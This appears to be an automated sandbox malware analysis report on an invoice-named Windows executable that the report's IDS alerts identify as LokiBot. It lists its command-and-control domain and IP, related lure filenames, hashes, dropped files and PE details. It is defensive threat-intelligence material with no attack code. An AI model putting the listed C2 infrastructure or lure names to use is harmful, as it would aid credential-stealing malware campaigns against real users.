Excluded IPs from analysis (whitelisted): 8.238.190.126, 8.241.126.249, 8.241.121.126, 8.253.204.249, 8.253.204.120
Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, fs.microsoft.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:54:02	API Interceptor	59x Sleep call for process: INV.2022LB0362 FORM CO (2).exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
95.213.216.202	SecuriteInfo.com.Win32.CrypterX-gen.24384.7341.exe	Get hash	malicious	Browse	sempersim.su/gm14/fre.php
	RFQ MV-Haian.exe	Get hash	malicious	Browse	sempersim.su/gm9/fre.php
	SecuriteInfo.com.Win32.CrypterX-gen.15258.5029.exe	Get hash	malicious	Browse	sempersim.su/gm10/fre.php
	SecuriteInfo.com.Win32.PWSX-gen.30740.26234.exe	Get hash	malicious	Browse	sempersim.su/gm14/fre.php
	Draft Of Shipping documents.xls	Get hash	malicious	Browse	sempersim.su/gm14/fre.php
	OeMHRbLPPUrH75t.exe	Get hash	malicious	Browse	sempersim.su/gm15/fre.php
	JRcIUY67u1.exe	Get hash	malicious	Browse	sempersim.su/gm13/fre.php
	GlPks3hdy5.exe	Get hash	malicious	Browse	sempersim.su/gm5/fre.php
	Quotation_2200001635.exe	Get hash	malicious	Browse	sempersim.su/gm18/fre.php
	cotizaci#U00f2n.PDF.vbs	Get hash	malicious	Browse	sempersim.su/gm16/fre.php
	Nueva lista de pedidos.vbs	Get hash	malicious	Browse	sempersim.su/gm17/fre.php
	E800 quotation20111209.exe	Get hash	malicious	Browse	sempersim.su/gm18/fre.php
	SecuriteInfo.com.Win32.PWSX-gen.31845.11524.exe	Get hash	malicious	Browse	sempersim.su/gm11/fre.php
	Quotation_qaOxW8.exe	Get hash	malicious	Browse	sempersim.su/gm10/fre.php
	xmwIOV9lPwSJpGz.exe	Get hash	malicious	Browse	sempersim.su/gm10/fre.php
	SecuriteInfo.com.Trojan.Packed2.44597.21015.23374.exe	Get hash	malicious	Browse	sempersim.su/gl22/fre.php
	D7Rt88Sonf.exe	Get hash	malicious	Browse	sempersim.su/gm13/fre.php
	PCdn1pc3gr.exe	Get hash	malicious	Browse	sempersim.su/gl16/fre.php
	c0fBsahFN8.exe	Get hash	malicious	Browse	sempersim.su/gl16/fre.php
	swift copy.xls	Get hash	malicious	Browse	sempersim.su/gm13/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
sempersim.su	SecuriteInfo.com.Win32.CrypterX-gen.24384.7341.exe	Get hash	malicious	Browse	95.213.216.202
	RFQ MV-Haian.exe	Get hash	malicious	Browse	95.213.216.202
	SecuriteInfo.com.Win32.CrypterX-gen.15258.5029.exe	Get hash	malicious	Browse	95.213.216.202
	SecuriteInfo.com.Win32.PWSX-gen.30740.26234.exe	Get hash	malicious	Browse	95.213.216.202
	Draft Of Shipping documents.xls	Get hash	malicious	Browse	95.213.216.202
	OeMHRbLPPUrH75t.exe	Get hash	malicious	Browse	95.213.216.202
	JRcIUY67u1.exe	Get hash	malicious	Browse	95.213.216.202
	GlPks3hdy5.exe	Get hash	malicious	Browse	95.213.216.202
	Quotation_2200001635.exe	Get hash	malicious	Browse	95.213.216.202
	cotizaci#U00f2n.PDF.vbs	Get hash	malicious	Browse	95.213.216.202
	Nueva lista de pedidos.vbs	Get hash	malicious	Browse	95.213.216.202
	E800 quotation20111209.exe	Get hash	malicious	Browse	95.213.216.202
	SecuriteInfo.com.Win32.PWSX-gen.31845.11524.exe	Get hash	malicious	Browse	95.213.216.202
	Quotation_qaOxW8.exe	Get hash	malicious	Browse	95.213.216.202
	xmwIOV9lPwSJpGz.exe	Get hash	malicious	Browse	95.213.216.202
	SecuriteInfo.com.Trojan.Packed2.44597.21015.23374.exe	Get hash	malicious	Browse	95.213.216.202
	D7Rt88Sonf.exe	Get hash	malicious	Browse	95.213.216.202
	PCdn1pc3gr.exe	Get hash	malicious	Browse	95.213.216.202
	c0fBsahFN8.exe	Get hash	malicious	Browse	95.213.216.202
	swift copy.xls	Get hash	malicious	Browse	95.213.216.202

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
SELECTELRU	SecuriteInfo.com.Win32.CrypterX-gen.24384.7341.exe	Get hash	malicious	Browse	95.213.216.202
	l.out.elf	Get hash	malicious	Browse	176.113.115.124
	RFQ MV-Haian.exe	Get hash	malicious	Browse	95.213.216.202
	SecuriteInfo.com.Win32.CrypterX-gen.15258.5029.exe	Get hash	malicious	Browse	95.213.216.202
	SecuriteInfo.com.Win32.PWSX-gen.30740.26234.exe	Get hash	malicious	Browse	95.213.216.202
	Draft Of Shipping documents.xls	Get hash	malicious	Browse	95.213.216.202
	OeMHRbLPPUrH75t.exe	Get hash	malicious	Browse	95.213.216.202
	JRcIUY67u1.exe	Get hash	malicious	Browse	95.213.216.202
	PO KIPO000903 KIND122822.exe	Get hash	malicious	Browse	31.184.217.9
	GlPks3hdy5.exe	Get hash	malicious	Browse	95.213.216.202
	Quotation_2200001635.exe	Get hash	malicious	Browse	95.213.216.202
	http://saylor2xbtc.com	Get hash	malicious	Browse	92.119.160.56
	cotizaci#U00f2n.PDF.vbs	Get hash	malicious	Browse	95.213.216.202
	Nueva lista de pedidos.vbs	Get hash	malicious	Browse	95.213.216.202
	E800 quotation20111209.exe	Get hash	malicious	Browse	95.213.216.202
	SecuriteInfo.com.Win32.PWSX-gen.31845.11524.exe	Get hash	malicious	Browse	95.213.216.202
	Quotation_qaOxW8.exe	Get hash	malicious	Browse	95.213.216.202
	xmwIOV9lPwSJpGz.exe	Get hash	malicious	Browse	95.213.216.202
	SecuriteInfo.com.Trojan.Packed2.44597.21015.23374.exe	Get hash	malicious	Browse	95.213.216.202
	D7Rt88Sonf.exe	Get hash	malicious	Browse	95.213.216.202

Process:	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck

Download File

Process:	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D898504A722BFF1524134C6AB6A5EAA5
SHA1:	E0FDC90C2CA2A0219C99D2758E68C18875A3E11E
SHA-256:	878F32F76B159494F5A39F9321616C6068CDB82E88DF89BCC739BBC1EA78E1F9
SHA-512:	26A4398BFFB0C0AEF9A6EC53CD3367A2D0ABF2F70097F711BBBF1E9E32FD9F1A72121691BB6A39EEB55D596EDD527934E541B4DEFB3B1426B1D1A6429804DC61
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..............................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.565543571702018
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	INV.2022LB0362 FORM CO (2).exe
File size:	865280
MD5:	baed30aea51e6000571219633aa745b0
SHA1:	d7e3b155c00245a7f867dd2fb4c06cb7be6ec3f7
SHA256:	57520e51bb0820741b7883926800223886c491a8a5ddd517a49b0e2cc752fb18
SHA512:	4f19e423fc1bdbba152a570e5382bd2eabdf04ca335cdc1ed286287740c153c7a34d3a661abaf01f124870f9bd3de2e9321e66114f5bedea16131bd77de2b786
SSDEEP:	24576:GM+L74mBfNUstzoB1ERZcSMI2PmVl9kiYxM9aE3r8JN:F+RiSMHmgu9HI
TLSH:	91054A4F2B7FDEF0EA245CFB221457039D3651DABA8BCA7883984BC660F161C5B74864
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k................0..*..........vH... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x4d4876
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xDBD76B81 [Sat Nov 16 23:34:25 2086 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd4824	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd6000	0x5cc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xd4808	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xd287c	0xd2a00	False	0.8132742952522255	data	7.568253289628953	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xd6000	0x5cc	0x600	False	0.4264322916666667	data	4.114856973981248	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd8000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0xd6090	0x33c	data
RT_MANIFEST	0xd63dc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.395.213.216.20249705802024318 11/30/22-00:54:20.168790	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49705	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249702802021641 11/30/22-00:54:14.871390	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49702	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249738802024313 11/30/22-00:55:23.450513	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49738	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249734802825766 11/30/22-00:55:16.065951	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49734	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497272025483 11/30/22-00:55:04.982566	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49727	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249741802024313 11/30/22-00:55:29.247109	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49741	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249701802825766 11/30/22-00:54:12.581436	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49701	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249749802025381 11/30/22-00:55:43.976237	TCP	2025381	ET TROJAN LokiBot Checkin	49749	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249759802825766 11/30/22-00:56:01.042444	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49759	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249738802024318 11/30/22-00:55:23.450513	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49738	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249735802021641 11/30/22-00:55:17.863854	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49735	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249705802024313 11/30/22-00:54:20.168790	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49705	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249741802024318 11/30/22-00:55:29.247109	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49741	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497232025483 11/30/22-00:54:57.894669	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49723	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249752802025381 11/30/22-00:55:49.378987	TCP	2025381	ET TROJAN LokiBot Checkin	49752	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249716802025381 11/30/22-00:54:43.829219	TCP	2025381	ET TROJAN LokiBot Checkin	49716	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249707802021641 11/30/22-00:54:24.716724	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49707	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249757802025381 11/30/22-00:55:58.948901	TCP	2025381	ET TROJAN LokiBot Checkin	49757	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249730802021641 11/30/22-00:55:08.823725	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49730	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.861416532014169 11/30/22-00:55:12.379224	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	61416	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.860088532014169 11/30/22-00:55:21.529314	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	60088	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249713802024313 11/30/22-00:54:37.979213	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49713	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249726802825766 11/30/22-00:55:01.673863	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49726	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249713802024318 11/30/22-00:54:37.979213	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49713	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.857743532014169 11/30/22-00:55:08.735474	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	57743	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249754802825766 11/30/22-00:55:53.496270	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49754	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497572025483 11/30/22-00:55:59.773200	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49757	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249744802025381 11/30/22-00:55:34.401351	TCP	2025381	ET TROJAN LokiBot Checkin	49744	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.859820532014169 11/30/22-00:55:29.162121	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	59820	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.853305532014169 11/30/22-00:54:54.648302	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	53305	53	192.168.2.3	8.8.8.8
95.213.216.202192.168.2.380497532025483 11/30/22-00:55:52.887247	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49753	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249708802025381 11/30/22-00:54:26.803652	TCP	2025381	ET TROJAN LokiBot Checkin	49708	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497162025483 11/30/22-00:54:45.204539	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49716	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497382025483 11/30/22-00:55:24.982216	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49738	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249758802024313 11/30/22-00:56:00.034214	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49758	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249755802021641 11/30/22-00:55:55.653974	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49755	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497302025483 11/30/22-00:55:10.337695	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49730	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497342025483 11/30/22-00:55:17.565495	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49734	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249758802024318 11/30/22-00:56:00.034214	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49758	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.852387532014169 11/30/22-00:54:14.412323	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	52387	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249721802024318 11/30/22-00:54:53.572062	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49721	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249727802021641 11/30/22-00:55:03.486766	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49727	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249750802021641 11/30/22-00:55:45.758418	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49750	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497122025483 11/30/22-00:54:37.552263	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49712	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249718802825766 11/30/22-00:54:47.592007	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49718	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.851992532014169 11/30/22-00:55:36.286012	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	51992	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.860625532014169 11/30/22-00:54:18.863516	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	60625	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249736802025381 11/30/22-00:55:19.643476	TCP	2025381	ET TROJAN LokiBot Checkin	49736	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249721802024313 11/30/22-00:54:53.572062	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49721	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249746802825766 11/30/22-00:55:38.275174	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49746	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249722802021641 11/30/22-00:54:54.732179	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49722	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249699802025381 11/30/22-00:54:07.324934	TCP	2025381	ET TROJAN LokiBot Checkin	49699	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249714802021641 11/30/22-00:54:39.977728	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49714	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497492025483 11/30/22-00:55:45.483574	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49749	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249712802025381 11/30/22-00:54:35.972913	TCP	2025381	ET TROJAN LokiBot Checkin	49712	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.857840532014169 11/30/22-00:54:09.401173	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	57840	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.858301532014169 11/30/22-00:55:42.001541	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	58301	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249740802025381 11/30/22-00:55:27.193434	TCP	2025381	ET TROJAN LokiBot Checkin	49740	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497422025483 11/30/22-00:55:32.668199	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49742	95.213.216.202	192.168.2.3
192.168.2.38.8.8.863562532014169 11/30/22-00:55:23.368358	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	63562	53	192.168.2.3	8.8.8.8
95.213.216.202192.168.2.380497412025483 11/30/22-00:55:30.821604	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49741	95.213.216.202	192.168.2.3
192.168.2.38.8.8.850784532014169 11/30/22-00:55:55.557056	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	50784	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249723802021641 11/30/22-00:54:56.463103	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49723	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249713802825766 11/30/22-00:54:37.979213	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49713	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249726802024313 11/30/22-00:55:01.673863	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49726	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249728802025381 11/30/22-00:55:05.285201	TCP	2025381	ET TROJAN LokiBot Checkin	49728	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249726802024318 11/30/22-00:55:01.673863	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49726	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249737802025381 11/30/22-00:55:21.614296	TCP	2025381	ET TROJAN LokiBot Checkin	49737	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497112025483 11/30/22-00:54:35.462242	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49711	95.213.216.202	192.168.2.3
192.168.2.38.8.8.856949532014169 11/30/22-00:54:59.841953	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	56949	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249753802024318 11/30/22-00:55:51.242717	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49753	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249753802024313 11/30/22-00:55:51.242717	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49753	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497082025483 11/30/22-00:54:28.382639	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49708	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249714802825766 11/30/22-00:54:39.977728	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49714	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249725802024313 11/30/22-00:54:59.930841	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49725	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249756802025381 11/30/22-00:55:57.533680	TCP	2025381	ET TROJAN LokiBot Checkin	49756	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.860825532014169 11/30/22-00:55:59.940841	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	60825	53	192.168.2.3	8.8.8.8
